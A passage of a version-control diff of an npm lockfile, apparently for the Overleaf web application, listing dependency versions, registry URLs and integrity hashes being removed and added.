+- "babel-plugin-angularjs-annotate": "^0.10.0",
+- "babel-plugin-macros": "^3.1.0",
+- "backbone": "^1.3.3",
+- "basic-auth": "^2.0.1",
+- "bcrypt": "^5.0.0",
+- "body-parser": "^1.19.0",
+- "bootstrap": "^3.4.1",
+- "bowser": "^2.11.0",
+- "bufferedstream": "1.6.0",
+- "bull": "^3.18.0",
+- "bunyan": "^1.8.15",
+- "c8": "^7.2.0",
+- "cache-flow": "^1.7.4",
+- "celebrate": "^10.0.1",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "chai-exclude": "^2.0.3",
+- "cheerio": "^1.0.0-rc.3",
+- "classnames": "^2.2.6",
+- "codemirror": "~5.33.0",
+- "color-alpha": "^1.1.3",
+- "color-parse": "^1.4.2",
+- "connect-redis": "^3.1.0",
+- "content-disposition": "^0.5.0",
+- "contentful": "^6.1.1",
+- "cookie": "^0.2.3",
+- "cookie-parser": "1.3.5",
+- "copy-webpack-plugin": "^10.2.4",
+- "core-js": "^3.6.2",
+- "crypto-js": "^3.1.9-1",
+- "css-loader": "^6.7.1",
+- "css-minimizer-webpack-plugin": "^3.4.1",
+- "csurf": "^1.11.0",
+- "cypress": "^10.2.0",
+- "d3": "^3.5.16",
+- "dateformat": "1.0.4-1.2.3",
+- "daterangepicker": "https://github.com/overleaf/daterangepicker/archive/e496d2d44ca53e208c930e4cb4bcf29bcefa4550.tar.gz",
+- "downshift": "^6.1.0",
+- "east": "^2.0.2",
+- "email-addresses": "^5.0.0",
+- "es6-promise": "^4.2.8",
+- "escodegen": "^2.0.0",
+- "eslint-config-standard-jsx": "^11.0.0-0",
+- "eslint-plugin-cypress": "^2.12.1",
+- "eslint-plugin-jsx-a11y": "^6.5.1",
+- "eslint-plugin-react": "^7.27.0",
+- "eslint-plugin-react-hooks": "^4.3.0",
+- "events": "^3.3.0",
+- "expose-loader": "^3.1.0",
+- "express": "4.17.1",
+- "express-bearer-token": "^2.4.0",
+- "express-http-proxy": "^1.6.0",
+- "express-session": "^1.17.1",
+- "fetch-mock": "^9.10.2",
+- "formik": "^2.2.9",
+- "fs-extra": "^4.0.2",
+- "fuse.js": "^3.0.0",
+- "glob": "^7.1.6",
+- "globby": "^5.0.0",
+- "handlebars": "^4.7.7",
+- "handlebars-loader": "^1.7.1",
+- "helmet": "^3.22.0",
+- "html-webpack-plugin": "^5.5.0",
+- "http-proxy": "^1.18.1",
+- "i18next": "^19.6.3",
+- "i18next-fs-backend": "^1.0.7",
+- "i18next-http-middleware": "^3.0.2",
+- "i18next-scanner": "^3.0.0",
+- "isomorphic-unfetch": "^3.0.0",
+- "jose": "^4.3.8",
+- "jquery": "^2.2.4",
+- "jsdom": "^19.0.0",
+- "jsdom-global": "^3.0.2",
+- "json2csv": "^4.3.3",
+- "jsonwebtoken": "^8.5.1",
+- "karma": "^6.3.17",
+- "karma-chai-sinon": "^0.1.5",
+- "karma-chrome-launcher": "^3.1.0",
+- "karma-mocha": "^2.0.0",
+- "karma-mocha-reporter": "^2.2.5",
+- "karma-requirejs": "^1.1.0",
+- "karma-webpack": "^5.0.0",
+- "ldapjs": "^0.7.1",
+- "less": "^3.11.1",
+- "less-loader": "^10.2.0",
+- "less-plugin-autoprefix": "^2.0.0",
+- "lodash": "^4.17.19",
+- "lru-cache": "^7.10.1",
+- "mailchimp-api-v3": "^1.12.0",
+- "marked": "^4.1.0",
+- "match-sorter": "^6.2.0",
+- "mathjax": "^2.7.9",
+- "mensch": "^0.3.4",
+- "method-override": "^2.3.3",
+- "mini-css-extract-plugin": "^2.6.0",
+- "minimist": "1.2.5",
+- "mmmagic": "^0.5.3",
+- "mocha": "^8.4.0",
+- "mock-fs": "^5.1.2",
+- "moment": "^2.29.4",
+- "mongodb": "~3.6.0",
+- "mongoose": "^5.13.11",
+- "multer": "https://github.com/overleaf/multer/archive/7a2928d7ea2da02dd92888ea1c9ba5704e07aeeb.tar.gz",
+- "nocache": "^2.1.0",
+- "nock": "^13.1.1",
+- "node-fetch": "^2.6.7",
+- "nodemailer": "^6.7.0",
+- "nodemailer-mandrill-transport": "^1.2.0",
+- "nodemailer-ses-transport": "^1.5.1",
+- "nvd3": "^1.8.6",
+- "oauth2-server": "^3.0.1",
+- "otplib": "^12.0.1",
+- "p-limit": "^2.3.0",
+- "parse-data-url": "^2.0.0",
+- "passport": "^0.4.1",
+- "passport-google-oauth20": "^2.0.0",
+- "passport-ldapauth": "^2.1.4",
+- "passport-local": "^1.0.0",
+- "passport-oauth2": "^1.5.0",
+- "passport-orcid": "0.0.4",
+- "passport-saml": "https://github.com/overleaf/passport-saml/releases/download/v3.2.1-overleaf/passport-saml-3.2.1-overleaf.tar.gz",
+- "passport-twitter": "^1.0.4",
+- "pdfjs-dist210": "npm:pdfjs-dist@2.10.377",
+- "pdfjs-dist213": "npm:pdfjs-dist@2.13.216",
+- "pirates": "^4.0.1",
+- "postcss-loader": "^6.2.1",
+- "prop-types": "^15.7.2",
+- "pug": "^3.0.1",
+- "pug-runtime": "^3.0.1",
+- "qrcode": "^1.4.4",
+- "react": "^17.0.2",
+- "react-bootstrap": "^0.33.1",
+- "react-dnd": "^11.1.3",
+- "react-dnd-html5-backend": "^11.1.3",
+- "react-dom": "^17.0.2",
+- "react-error-boundary": "^2.3.1",
+- "react-i18next": "^11.7.1",
+- "react-linkify": "^1.0.0-alpha",
+- "react-refresh": "^0.14.0",
+- "react2angular": "^4.0.6",
+- "react2angular-shared-context": "^1.1.0",
+- "recurly": "^4.0.0",
+- "referer-parser": "0.0.3",
+- "request": "^2.88.2",
+- "request-promise-native": "^1.0.8",
+- "requestretry": "^6.0.0",
+- "requirejs": "^2.3.6",
+- "rimraf": "2.2.6",
+- "rolling-rate-limiter": "^0.2.10",
+- "samlp": "^3.4.1",
+- "sandboxed-module": "https://github.com/overleaf/node-sandboxed-module/archive/cafa2d60f17ce75cc023e6f296eb8de79d92d35d.tar.gz",
+- "sanitize-html": "^1.27.1",
+- "scroll-into-view-if-needed": "^2.2.25",
+- "sinon": "^7.5.0",
+- "sinon-chai": "^3.7.0",
+- "sinon-mongoose": "^2.3.0",
+- "socket.io-mock": "^1.3.1",
+- "sysend": "^1.10.0",
+- "terser-webpack-plugin": "^5.3.1",
+- "timekeeper": "^2.2.0",
+- "to-string-loader": "^1.2.0",
+- "tsscmp": "^1.0.6",
+- "typescript": "^4.5.5",
+- "underscore": "^1.13.1",
+- "unzipper": "^0.10.11",
+- "utf-8-validate": "^5.0.2",
+- "uuid": "^3.0.1",
+- "val-loader": "^4.0.0",
+- "valid-data-url": "^2.0.0",
+- "valid-url": "^1.0.9",
+- "webpack": "^5.71.0",
+- "webpack-assets-manifest": "^5.1.0",
+- "webpack-cli": "^4.9.2",
+- "webpack-dev-server": "^4.7.4",
+- "webpack-merge": "^5.8.0",
+- "worker-loader": "^3.0.8",
+- "xml-crypto": "^2.1.2",
+- "xml2js": "^0.4.22",
+- "xregexp": "^4.3.0",
+- "yauzl": "^2.10.0",
+- "yup": "^0.32.11"
+- },
+- "dependencies": {
+- "@hapi/address": {
+- "version": "2.1.4",
+- "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz",
+- "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ=="
+- },
+- "@hapi/joi": {
+- "version": "15.1.1",
+- "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz",
+- "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==",
+- "requires": {
+- "@hapi/address": "2.x.x",
+- "@hapi/bourne": "1.x.x",
+- "@hapi/hoek": "8.x.x",
+- "@hapi/topo": "3.x.x"
+- }
+- },
+- "@hapi/topo": {
+- "version": "3.1.6",
+- "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz",
+- "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==",
+- "requires": {
+- "@hapi/hoek": "^8.3.0"
+- }
+- },
+- "@replit/codemirror-emacs": {
+- "version": "git+ssh://git@github.com/overleaf/codemirror-emacs.git#8640addc01bbe99fec0144993d012b6dfc57d6e2",
+- "integrity": "sha512-qtSe/u/3zai4G2bSwpL7DTfZK/uHViCiAcokqOe+FXKhCLHtrzs5VVgpMwK1JUHLwxo0lpSB4Hkz3epP6K2axw==",
+- "from": "@replit/codemirror-emacs@overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2",
+- "requires": {}
+- },
+- "@sinonjs/formatio": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz",
+- "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==",
+- "dev": true,
+- "requires": {
+- "@sinonjs/commons": "^1",
+- "@sinonjs/samsam": "^3.1.0"
+- }
+- },
+- "@sinonjs/samsam": {
+- "version": "3.3.3",
+- "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz",
+- "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==",
+- "dev": true,
+- "requires": {
+- "@sinonjs/commons": "^1.3.0",
+- "array-from": "^2.1.1",
+- "lodash": "^4.17.15"
+- }
+- },
+- "@uppy/utils": {
+- "version": "4.0.7",
+- "resolved": "https://registry.npmjs.org/@uppy/utils/-/utils-4.0.7.tgz",
+- "integrity": "sha512-nKViMT8XchKy+NWpb3DtVKuzZBmW7au26LrMq89EsvTwIOT6UR9+7bmz/+zr3+lc7UC7vMgNChIC6G+/Ya9wWQ==",
+- "requires": {
+- "lodash.throttle": "^4.1.1"
+- }
++ "lolex": {
++ "version": "4.2.0",
++ "resolved": "https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz",
++ "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==",
++ "dev": true
+ },
+- "ansi-styles": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+- "dev": true,
+- "requires": {
+- "color-convert": "^2.0.1"
+- }
++ "lru-cache": {
++ "version": "7.10.1",
++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.10.1.tgz",
++ "integrity": "sha512-BQuhQxPuRl79J5zSXRP+uNzPOyZw2oFI9JLRQ80XswSvg21KMKNtQza9eF42rfI/3Z40RvzBdXgziEkudzjo8A=="
+ },
+- "array-union": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz",
+- "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==",
++ "mdn-data": {
++ "version": "2.0.14",
++ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
++ "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==",
+ "dev": true
+ },
+- "body-parser": {
+- "version": "1.19.0",
+- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
++ "method-override": {
++ "version": "2.3.10",
++ "resolved": "https://registry.npmjs.org/method-override/-/method-override-2.3.10.tgz",
++ "integrity": "sha1-49r41d7hDdLc59SuiNYrvud0drQ=",
+ "requires": {
+- "bytes": "3.1.0",
+- "content-type": "~1.0.4",
+ "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "on-finished": "~2.3.0",
+- "qs": "6.7.0",
+- "raw-body": "2.4.0",
+- "type-is": "~1.6.17"
++ "methods": "~1.1.2",
++ "parseurl": "~1.3.2",
++ "vary": "~1.1.2"
+ },
+ "dependencies": {
+ "debug": {
+@@ -43002,114 +35052,18 @@
+ }
+ }
+ },
+- "bytes": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
+- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg=="
+- },
+- "celebrate": {
+- "version": "10.1.0",
+- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz",
+- "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==",
+- "requires": {
+- "@hapi/joi": "15.x.x",
+- "escape-html": "1.0.3",
+- "lodash.get": "4.4.x"
+- }
+- },
+- "chalk": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+- "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+- "dev": true,
+- "requires": {
+- "ansi-styles": "^4.1.0",
+- "supports-color": "^7.1.0"
+- }
+- },
+- "commander": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
+- "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==",
+- "dev": true
+- },
+- "concat-stream": {
+- "version": "1.6.2",
+- "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
+- "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
+- "requires": {
+- "buffer-from": "^1.0.0",
+- "inherits": "^2.0.3",
+- "readable-stream": "^2.2.2",
+- "typedarray": "^0.0.6"
+- },
+- "dependencies": {
+- "readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "requires": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- }
+- }
+- },
+- "connect-redis": {
+- "version": "3.4.2",
+- "resolved": "https://registry.npmjs.org/connect-redis/-/connect-redis-3.4.2.tgz",
+- "integrity": "sha512-ozA1Z0GDnsCJECfNyNJOqPuW3Fk43fUbKC65Sa/V9hkCBNtXsFU2xtTOVsQGUsflpywuJMgGOV4xrnKzIPFqvA==",
+- "requires": {
+- "debug": "^4.1.1",
+- "redis": "^2.8.0"
+- }
+- },
+- "content-disposition": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
+- "requires": {
+- "safe-buffer": "5.1.2"
+- }
+- },
+- "cookie-parser": {
+- "version": "1.3.5",
+- "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.3.5.tgz",
+- "integrity": "sha1-nXVVcPtdF4kHcSJ6AjFNm+fPg1Y=",
+- "requires": {
+- "cookie": "0.1.3",
+- "cookie-signature": "1.0.6"
+- },
+- "dependencies": {
+- "cookie": {
+- "version": "0.1.3",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.1.3.tgz",
+- "integrity": "sha1-5zSlwUF/zkctWu+Cw4HKu2TRpDU="
+- }
+- }
+- },
+- "cookie-signature": {
+- "version": "1.0.6",
+- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
++ "mime": {
++ "version": "1.6.0",
++ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
++ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+ },
+- "copy-webpack-plugin": {
+- "version": "10.2.4",
+- "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-10.2.4.tgz",
+- "integrity": "sha512-xFVltahqlsRcyyJqQbDY6EYTtyQZF9rf+JPjwHObLdPFMEISqkFkr7mFoVOC6BfYS/dNThyoQKvziugm+OnwBg==",
++ "mini-css-extract-plugin": {
++ "version": "2.6.0",
++ "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.0.tgz",
++ "integrity": "sha512-ndG8nxCEnAemsg4FSgS+yNyHKgkTB4nPKqCOgh65j3/30qqC5RaSQQXMm++Y6sb6E1zRSxPkztj9fqxhS1Eo6w==",
+ "dev": true,
+ "requires": {
+- "fast-glob": "^3.2.7",
+- "glob-parent": "^6.0.1",
+- "globby": "^12.0.2",
+- "normalize-path": "^3.0.0",
+- "schema-utils": "^4.0.0",
+- "serialize-javascript": "^6.0.0"
++ "schema-utils": "^4.0.0"
+ },
+ "dependencies": {
+ "ajv": {
+@@ -43133,20 +35087,6 @@
+ "fast-deep-equal": "^3.1.3"
+ }
+ },
+- "globby": {
+- "version": "12.2.0",
+- "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz",
+- "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==",
+- "dev": true,
+- "requires": {
+- "array-union": "^3.0.1",
+- "dir-glob": "^3.0.1",
+- "fast-glob": "^3.2.7",
+- "ignore": "^5.1.9",
+- "merge2": "^1.4.1",
+- "slash": "^4.0.0"
+- }
+- },
+ "schema-utils": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+@@ -43161,500 +35101,10 @@
+ }
+ }
+ },
+- "css-declaration-sorter": {
+- "version": "6.2.2",
+- "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.2.2.tgz",
+- "integrity": "sha512-Ufadglr88ZLsrvS11gjeu/40Lw74D9Am/Jpr3LlYm5Q4ZP5KdlUhG+6u2EjyXeZcxmZ2h1ebCKngDjolpeLHpg==",
+- "dev": true,
+- "requires": {}
+- },
+- "css-loader": {
+- "version": "6.7.1",
+- "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz",
+- "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==",
+- "dev": true,
+- "requires": {
+- "icss-utils": "^5.1.0",
+- "postcss": "^8.4.7",
+- "postcss-modules-extract-imports": "^3.0.0",
+- "postcss-modules-local-by-default": "^4.0.0",
+- "postcss-modules-scope": "^3.0.0",
+- "postcss-modules-values": "^4.0.0",
+- "postcss-value-parser": "^4.2.0",
+- "semver": "^7.3.5"
+- },
+- "dependencies": {
+- "lru-cache": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+- "dev": true,
+- "requires": {
+- "yallist": "^4.0.0"
+- }
+- },
+- "semver": {
+- "version": "7.3.5",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
+- "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
+- "dev": true,
+- "requires": {
+- "lru-cache": "^6.0.0"
+- }
+- }
+- }
+- },
+- "css-minimizer-webpack-plugin": {
+- "version": "3.4.1",
+- "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz",
+- "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==",
+- "dev": true,
+- "requires": {
+- "cssnano": "^5.0.6",
+- "jest-worker": "^27.0.2",
+- "postcss": "^8.3.5",
+- "schema-utils": "^4.0.0",
+- "serialize-javascript": "^6.0.0",
+- "source-map": "^0.6.1"
+- },
+- "dependencies": {
+- "ajv": {
+- "version": "8.11.0",
+- "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+- "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+- "dev": true,
+- "requires": {
+- "fast-deep-equal": "^3.1.1",
+- "json-schema-traverse": "^1.0.0",
+- "require-from-string": "^2.0.2",
+- "uri-js": "^4.2.2"
+- }
+- },
+- "ajv-keywords": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+- "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+- "dev": true,
+- "requires": {
+- "fast-deep-equal": "^3.1.3"
+- }
+- },
+- "schema-utils": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+- "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+- "dev": true,
+- "requires": {
+- "@types/json-schema": "^7.0.9",
+- "ajv": "^8.8.0",
+- "ajv-formats": "^2.1.1",
+- "ajv-keywords": "^5.0.0"
+- }
+- }
+- }
+- },
+- "css-tree": {
+- "version": "1.1.3",
+- "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+- "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+- "dev": true,
+- "requires": {
+- "mdn-data": "2.0.14",
+- "source-map": "^0.6.1"
+- }
+- },
+- "cssnano": {
+- "version": "5.1.7",
+- "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.7.tgz",
+- "integrity": "sha512-pVsUV6LcTXif7lvKKW9ZrmX+rGRzxkEdJuVJcp5ftUjWITgwam5LMZOgaTvUrWPkcORBey6he7JKb4XAJvrpKg==",
+- "dev": true,
+- "requires": {
+- "cssnano-preset-default": "^5.2.7",
+- "lilconfig": "^2.0.3",
+- "yaml": "^1.10.2"
+- }
+- },
+- "cssnano-preset-default": {
+- "version": "5.2.7",
+- "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.7.tgz",
+- "integrity": "sha512-JiKP38ymZQK+zVKevphPzNSGHSlTI+AOwlasoSRtSVMUU285O7/6uZyd5NbW92ZHp41m0sSHe6JoZosakj63uA==",
+- "dev": true,
+- "requires": {
+- "css-declaration-sorter": "^6.2.2",
+- "cssnano-utils": "^3.1.0",
+- "postcss-calc": "^8.2.3",
+- "postcss-colormin": "^5.3.0",
+- "postcss-convert-values": "^5.1.0",
+- "postcss-discard-comments": "^5.1.1",
+- "postcss-discard-duplicates": "^5.1.0",
+- "postcss-discard-empty": "^5.1.1",
+- "postcss-discard-overridden": "^5.1.0",
+- "postcss-merge-longhand": "^5.1.4",
+- "postcss-merge-rules": "^5.1.1",
+- "postcss-minify-font-values": "^5.1.0",
+- "postcss-minify-gradients": "^5.1.1",
+- "postcss-minify-params": "^5.1.2",
+- "postcss-minify-selectors": "^5.2.0",
+- "postcss-normalize-charset": "^5.1.0",
+- "postcss-normalize-display-values": "^5.1.0",
+- "postcss-normalize-positions": "^5.1.0",
+- "postcss-normalize-repeat-style": "^5.1.0",
+- "postcss-normalize-string": "^5.1.0",
+- "postcss-normalize-timing-functions": "^5.1.0",
+- "postcss-normalize-unicode": "^5.1.0",
+- "postcss-normalize-url": "^5.1.0",
+- "postcss-normalize-whitespace": "^5.1.1",
+- "postcss-ordered-values": "^5.1.1",
+- "postcss-reduce-initial": "^5.1.0",
+- "postcss-reduce-transforms": "^5.1.0",
+- "postcss-svgo": "^5.1.0",
+- "postcss-unique-selectors": "^5.1.1"
+- }
+- },
+- "cssnano-utils": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz",
+- "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==",
+- "dev": true,
+- "requires": {}
+- },
+- "diff": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
+- "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
+- "dev": true
+- },
+- "emoji-regex": {
+- "version": "9.2.2",
+- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+- "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
+- "dev": true
+- },
+- "eslint-config-standard-jsx": {
+- "version": "11.0.0-0",
+- "resolved": "https://registry.npmjs.org/eslint-config-standard-jsx/-/eslint-config-standard-jsx-11.0.0-0.tgz",
+- "integrity": "sha512-KF2HkJoiMH7j9QCLC2OFgE+xfWRXnVpTZzombqdRtOkp6DBGLfGvvonl7AzEbWIxgjOiHkuw+lmYPz5cN2+kJA==",
+- "dev": true,
+- "requires": {}
+- },
+- "eslint-plugin-jsx-a11y": {
+- "version": "6.5.1",
+- "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.5.1.tgz",
+- "integrity": "sha512-sVCFKX9fllURnXT2JwLN5Qgo24Ug5NF6dxhkmxsMEUZhXRcGg+X3e1JbJ84YePQKBl5E0ZjAH5Q4rkdcGY99+g==",
+- "dev": true,
+- "requires": {
+- "@babel/runtime": "^7.16.3",
+- "aria-query": "^4.2.2",
+- "array-includes": "^3.1.4",
+- "ast-types-flow": "^0.0.7",
+- "axe-core": "^4.3.5",
+- "axobject-query": "^2.2.0",
+- "damerau-levenshtein": "^1.0.7",
+- "emoji-regex": "^9.2.2",
+- "has": "^1.0.3",
+- "jsx-ast-utils": "^3.2.1",
+- "language-tags": "^1.0.5",
+- "minimatch": "^3.0.4"
+- }
+- },
+- "eslint-plugin-react": {
+- "version": "7.28.0",
+- "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.28.0.tgz",
+- "integrity": "sha512-IOlFIRHzWfEQQKcAD4iyYDndHwTQiCMcJVJjxempf203jnNLUnW34AXLrV33+nEXoifJE2ZEGmcjKPL8957eSw==",
+- "dev": true,
+- "requires": {
+- "array-includes": "^3.1.4",
+- "array.prototype.flatmap": "^1.2.5",
+- "doctrine": "^2.1.0",
+- "estraverse": "^5.3.0",
+- "jsx-ast-utils": "^2.4.1 || ^3.0.0",
+- "minimatch": "^3.0.4",
+- "object.entries": "^1.1.5",
+- "object.fromentries": "^2.0.5",
+- "object.hasown": "^1.1.0",
+- "object.values": "^1.1.5",
+- "prop-types": "^15.7.2",
+- "resolve": "^2.0.0-next.3",
+- "semver": "^6.3.0",
+- "string.prototype.matchall": "^4.0.6"
+- },
+- "dependencies": {
+- "doctrine": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
